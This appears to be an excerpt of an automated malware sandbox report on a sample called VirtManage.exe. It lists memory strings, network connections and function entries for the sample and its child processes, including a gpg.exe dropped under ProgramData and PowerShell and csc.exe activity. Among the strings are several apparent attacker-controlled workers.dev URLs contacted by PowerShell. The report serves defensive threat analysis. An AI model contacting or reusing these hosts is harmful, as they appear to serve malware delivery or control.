Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: powershell.exe, 00000021.00000002.2786980460.000001A789362000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: svchost.exe, 0000001B.00000002.1373792302.0000020A69213000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
Source: powershell.exe, 00000019.00000002.2881059416.00000228F6F1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.micrm/pkiops/certs/M%20Time-Stamp%2010(1).crt0
Source: powershell.exe, 00000019.00000002.2876701433.00000228F6C90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.t
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.982232445.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 00000003.00000002.987284466.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 00000005.00000002.991871024.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 0000000A.00000002.1052683420.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 0000000E.00000002.1076829442.00000000630A7000.00000008.00000001.01000000.0000000B.sdmpString found in binary or memory: http://www.zlib.net/D
Source: powershell.exe, 00000019.00000002.2787411165.00000228DEAF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2786980460.000001A789141000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000019.00000002.2787411165.00000228DED18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228E07B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DFF9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000019.00000002.2787411165.00000228E0B37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228E0B11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DFF9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg-agent.exe.0.drString found in binary or memory: https://bugs.gnupg.org
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg-agent.exe.0.drString found in binary or memory: https://bugs.gnupg.orgGnuPGgpggpgsmgpg-agentgpgtarEMAILGNUPGGPGGPGSMGPG_AGENTSCDAEMONTPM2DAEMONDIRMN
Source: powershell.exe, 00000021.00000002.2849852080.000001A7991AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000021.00000002.2849852080.000001A7991AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000021.00000002.2849852080.000001A7991AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373937867.0000020A69259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373912154.0000020A69242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373980075.0000020A69263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372837406.0000020A69262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1373077908.0000020A6925A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372728412.0000020A6926E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1374035525.0000020A69270000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000001B.00000003.1372728412.0000020A6926E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1374035525.0000020A69270000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000001B.00000002.1374011517.0000020A69268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372786060.0000020A69267000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000001B.00000003.1372728412.0000020A6926E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1374035525.0000020A69270000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373842856.0000020A6922B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373980075.0000020A69263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372837406.0000020A69262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1373077908.0000020A6925A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000001B.00000002.1374011517.0000020A69268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373842856.0000020A6922B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372786060.0000020A69267000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000001B.00000002.1373842856.0000020A6922B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373980075.0000020A69263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372837406.0000020A69262000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000001B.00000002.1373912154.0000020A69242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000001B.00000002.1373980075.0000020A69263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372837406.0000020A69262000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000001B.00000003.1373304362.0000020A69246000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&
Source: svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000001B.00000002.1373980075.0000020A69263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372837406.0000020A69262000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000001B.00000002.1373912154.0000020A69242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372925772.0000020A6925E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 0000001B.00000002.1374035525.0000020A69270000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: powershell.exe, 00000021.00000002.2786980460.000001A7897DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.b
Source: powershell.exe, 00000021.00000002.2786980460.000001A7897DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj1
Source: powershell.exe, 00000021.00000002.2786980460.000001A7897DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.
Source: powershell.exe, 00000021.00000002.2786980460.000001A7897DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.worke
Source: powershell.exe, 00000021.00000002.2786980460.000001A7897DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.de
Source: powershell.exe, 00000021.00000002.2786980460.000001A789ECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2786980460.000001A789AC7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2786980460.000001A789B33000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev
Source: powershell.exe, 00000021.00000002.2786980460.000001A7897DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2867674274.000001A7A1640000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000021.00000002.2786980460.000001A789A7B000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1930316907.000001B20AC63000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930813753.000001B20AC72000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927031602.000001B20AD0C000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1930540072.000001B20AC6B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927134923.000001B20ACFA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1929897399.000001B20ADFB000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1930460247.000001B20AC69000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1930567070.000001B20AC71000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev/
Source: powershell.exe, 00000021.00000002.2786980460.000001A789AC7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2864831017.000001A7A1420000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev//KjNKN/
Source: powershell.exe, 00000021.00000002.2786980460.000001A789AC7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev//KjNKN/X
Source: powershell.exe, 00000021.00000002.2786980460.000001A789AC7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev//KjNKN/p
Source: powershell.exe, 00000021.00000002.2786980460.000001A789ECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2786980460.000001A789E86000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev//Q0HGfmUNrw2U/
Source: powershell.exe, 00000021.00000002.2786980460.000001A789B33000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev//n/
Source: powershell.exe, 00000021.00000002.2786980460.000001A789B0C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev//n/p
Source: powershell.exe, 00000021.00000002.2860731502.000001A7A118F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ec2-server.bayaj19162.workers.dev/Co_
Source: svchost.exe, 0000001B.00000003.1270226020.0000020A69236000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 0000001B.00000002.1374011517.0000020A69268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373842856.0000020A6922B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.1372786060.0000020A69267000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: powershell.exe, 00000021.00000002.2786980460.000001A789362000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: gpg.exe, 0000000E.00000002.1079347224.000000006B4A8000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://gnu.org/licenses/
Source: gpg.exe, 0000000E.00000002.1079347224.000000006B4A8000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://gnu.org/licenses/gpl.html
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://gnupg.org/faq/subkey-cross-certify.html
Source: VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000001.00000002.981654692.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000003.00000000.984205933.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000005.00000002.991270930.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000A.00000000.1045674542.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000E.00000000.1056912132.00000000004FA000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://gnupg.org/faq/subkey-cross-certify.htmlWARNING:
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: https://gnupg.org0/
Source: powershell.exe, 00000019.00000002.2877295702.00000228F6EB3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DFF9D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2786980460.000001A78A2ED000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
Source: powershell.exe, 00000019.00000002.2877295702.00000228F6EB3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://go.micro/fwlink/?LinkId=
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF38B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxi
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF38B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo246
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF38B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.wor
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF38B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.
Source: powershell.exe, 00000019.00000002.2787411165.00000228DFCB2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DF8F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DFC90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DF88A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev
Source: powershell.exe, 00000019.00000002.2885126125.00000228F7660000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DF38B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2787411165.00000228DF6F3000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1505904618.000001F6D2FAE000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506474376.000001F6D305E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503268517.000001F6D303B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506068715.000001F6D2FAF000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1505725965.000001F6D2FAE000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1505377726.000001F6D31FB000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503159876.000001F6D304C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev/
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF953000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//2vSRMmqRd0fxI/
Source: powershell.exe, 00000019.00000002.2787411165.00000228DFC90000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//c4Y0Znuze0/
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF88A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//lD5bdpyg/
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF88A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//lD5bdpyg/X
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF88A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//lD5bdpyg/p
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF8F6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//mRQOubu3HX1p/
Source: powershell.exe, 00000019.00000002.2787411165.00000228DFCB2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//n5L1LTMCh/
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF8D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nginx-server.paxivo2460.workers.dev//n5L1LTMCh/fxI/p
Source: powershell.exe, 00000019.00000002.2857851054.00000228EEB5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2849852080.000001A7991AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000001B.00000003.1373202708.0000020A69241000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000001B.00000002.1373842856.0000020A6922B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000001B.00000003.1372993282.0000020A69258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1373937867.0000020A69259000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: https://www.globalsign.com/repository/0
Source: 7za.exe, 00000007.00000003.1022882785.0000020DBFFD0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.robware.net/about
Source: unknownNetwork traffic detected: HTTP traffic on port 49698 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49700
Source: unknownNetwork traffic detected: HTTP traffic on port 49699 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49699
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49698
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49697
Source: unknownNetwork traffic detected: HTTP traffic on port 49695 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49696
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49695
Source: unknownNetwork traffic detected: HTTP traffic on port 49696 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49697 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49700 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49702
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49701
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49695 version: TLS 1.2
Source: unknownHTTPS traffic detected: 172.67.153.11:443 -> 192.168.2.9:49698 version: TLS 1.2
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_0040573B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040573B
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004075BD0_2_004075BD
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004BF8C01_2_004BF8C0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0042D0701_2_0042D070
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0047A1501_2_0047A150
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004191691_2_00419169
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0044D1801_2_0044D180
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004A53001_2_004A5300
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004124401_2_00412440
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004E04001_2_004E0400
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004245701_2_00424570
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0040D5111_2_0040D511
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004745E01_2_004745E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0048E5E01_2_0048E5E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004986001_2_00498600
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004BB6F01_2_004BB6F0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004387E01_2_004387E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004CC8C01_2_004CC8C0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004779401_2_00477940
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_00433AC01_2_00433AC0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0040CAD01_2_0040CAD0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004D2AE01_2_004D2AE0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_00434B601_2_00434B60
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004A2BF01_2_004A2BF0
